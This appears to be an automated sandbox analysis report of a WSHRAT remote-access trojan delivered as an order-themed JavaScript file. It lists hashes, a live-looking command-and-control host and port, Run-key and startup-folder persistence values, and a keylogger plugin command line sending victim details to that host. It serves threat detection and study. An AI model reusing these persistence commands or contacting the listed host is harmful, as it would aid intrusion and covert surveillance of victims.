wshrat | 3c881e2fb1512cbee7733901141d98c1ba75f107a9438f5ad46b86a3878bfb81

Analysis

max time kernel
147s
max time network
152s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
17-06-2024 11:10

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General

Target

ORDER-24617-01667859-24.js
Size

7KB
MD5

f3e6a7eba2bd6ca312768ac1560bad6f
SHA1

04a683416a38f3c8acf06b64fd5e598a2902f684
SHA256

7a06aaf3103d9dce60c0c4652fd505c7a8df42c826d486be1973008d1c22c838
SHA512

4ea84c8c33a0fa6a235f6b5ec620e172a5ea5f4a9f372307ea9e1946d6393326bec448e32cadacb1c444270c973046a09be3c590fb7ae61fcc76999553e03265
SSDEEP

48:95jUotZH9ZR0/kdlZK8rflZPos9ZPfBjBZfo5CvA7ehZvKoN69ZLi1t16r1SBZ5B:T0/ZYbukAKdrKBXB1XBdi

Score

10^/10

wshrat execution persistence trojan

Malware Config

Extracted

Family

wshrat

http://jinvestments.duckdns.org:7044

Signatures

WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

Blocklisted process makes network request 25 IoCs

Processes:

wscript.exewscript.exe

flow	pid	process
3	2176	wscript.exe
7	2480	wscript.exe
9	2480	wscript.exe
10	2480	wscript.exe
11	2480	wscript.exe
12	2480	wscript.exe
13	2480	wscript.exe
14	2480	wscript.exe
15	2480	wscript.exe
17	2480	wscript.exe
18	2480	wscript.exe
19	2480	wscript.exe
21	2480	wscript.exe
22	2480	wscript.exe
23	2480	wscript.exe
25	2480	wscript.exe
26	2480	wscript.exe
27	2480	wscript.exe
29	2480	wscript.exe
30	2480	wscript.exe
31	2480	wscript.exe
33	2480	wscript.exe
34	2480	wscript.exe
35	2480	wscript.exe
37	2480	wscript.exe

Drops startup file 2 IoCs

Processes:

WScript.exewscript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HTYBQC.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HTYBQC.vbs	wscript.exe

Executes dropped EXE 1 IoCs

Processes:

kl-plugin.exe

pid process

2152 kl-plugin.exe

pid	process
2152	kl-plugin.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

WScript.exewscript.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\HTYBQC = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\HTYBQC.vbs\""	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HTYBQC = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\HTYBQC.vbs\""	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\HTYBQC = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\HTYBQC.vbs\""	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HTYBQC = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\HTYBQC.vbs\""	wscript.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

6 ip-api.com
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

556 taskkill.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

taskkill.exe

description pid process

Token: SeDebugPrivilege 556 taskkill.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

kl-plugin.exe

pid process

2152 kl-plugin.exe
2152 kl-plugin.exe

flow	ioc
6	ip-api.com

pid	process
556	taskkill.exe

description	pid	process
Token: SeDebugPrivilege	556	taskkill.exe

pid	process
2152	kl-plugin.exe
2152	kl-plugin.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

wscript.exeWScript.exewscript.execmd.exe

description	pid	process	target process
PID 2176 wrote to memory of 2752	2176	wscript.exe	WScript.exe
PID 2176 wrote to memory of 2752	2176	wscript.exe	WScript.exe
PID 2176 wrote to memory of 2752	2176	wscript.exe	WScript.exe
PID 2752 wrote to memory of 2480	2752	WScript.exe	wscript.exe
PID 2752 wrote to memory of 2480	2752	WScript.exe	wscript.exe
PID 2752 wrote to memory of 2480	2752	WScript.exe	wscript.exe
PID 2480 wrote to memory of 2028	2480	wscript.exe	cmd.exe
PID 2480 wrote to memory of 2028	2480	wscript.exe	cmd.exe
PID 2480 wrote to memory of 2028	2480	wscript.exe	cmd.exe
PID 2028 wrote to memory of 556	2028	cmd.exe	taskkill.exe
PID 2028 wrote to memory of 556	2028	cmd.exe	taskkill.exe
PID 2028 wrote to memory of 556	2028	cmd.exe	taskkill.exe
PID 2480 wrote to memory of 2152	2480	wscript.exe	kl-plugin.exe
PID 2480 wrote to memory of 2152	2480	wscript.exe	kl-plugin.exe
PID 2480 wrote to memory of 2152	2480	wscript.exe	kl-plugin.exe
PID 2480 wrote to memory of 2152	2480	wscript.exe	kl-plugin.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\ORDER-24617-01667859-24.js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HTYBQC.vbs"
2⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2752

C:\Windows\System32\wscript.exe
"C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\HTYBQC.vbs"
3⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2480

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c taskkill /F /IM kl-plugin.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\system32\taskkill.exe
taskkill /F /IM kl-plugin.exe
5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:556

C:\Users\Admin\AppData\Roaming\kl-plugin.exe
"C:\Users\Admin\AppData\Roaming\kl-plugin.exe" jinvestments.duckdns.org 7044 "WSHRAT|F4850773|EILATWEW|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 6/17/2024|Visual Basic-v2.0|GB:United Kingdom" 1
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2152

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Z5LT06Y3\json[1].json
Filesize
297B

MD5
be2ba1a8c142b5fa2178396ac67cb7d8

SHA1
b7c3d209d9c95d4b67d7ffb3c777d07f398260a5

SHA256
1191fa5928ed7ebf51830c0e601a327fb6480e4f35d9f96962c828b5b45ea260

SHA512
cca824422ebcc194e96c6af6c66160409b6c4f9e30af387921ad55712fc4316866e7ac3b2806427f7e06e43e99ef56e612738261f8d38fb58ef2758dc13c9204

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C:\Users\Admin\AppData\Local\Temp\HTYBQC.vbs
Filesize
832KB

MD5
9eb84b410320b27a000a848a1c22b91c

SHA1
7b84f1301c73993648f0bdf254f1fc202a12aab8

SHA256
f44a15168c937d547a57015ccdf034d5f958fa9e9a159e09730b09acb17124dc

SHA512
9ab878e70322df08ebe934e18b30d7b151f49a27ca99fafefa77fdd81ef3ed05700671d0e0dc22842355995fd2c5dc39442d60a9559635eda11ca17194d2d203

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C:\Users\Admin\AppData\Local\WSHRat_Plugin\kl-plugin.exe_Url_jaxmfvxjr5veege4korvji5hcwi3t2rj\1.1.0.0\user.config
Filesize
1KB

MD5
6adab4c76fc078ab342c1543663b25b8

SHA1
30f33a9d2ef56dfc9e5f8b48ebb38c5e4503e8c3

SHA256
367d9883f14feff7473dd6936c4378e25c1829de2d5e835e767185b8637e5d3a

SHA512
5162d86367bf0b02c123835098f5f141d5c36691e7d211684e9fed4b15185690ea3c8d2406d2432899ca64a58fde4743e640950c62480704bdce855a84131339

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C:\Users\Admin\AppData\Roaming\kl-plugin.exe
Filesize
25KB

MD5
7099a939fa30d939ccceb2f0597b19ed

SHA1
37b644ef5722709cd9024a372db4590916381976

SHA256
272e64291748fa8be01109faa46c0ea919bf4baf4924177ea6ac2ee0574f1c1a

SHA512
6e179a32b3091beee71d425248ae56495e31e9df569159a93af5826ddef28fba904ae4810d3ca2da45fe6dc8be1eeaecf71e8225b3e605f22f41f4e46d1cf721

Download Submit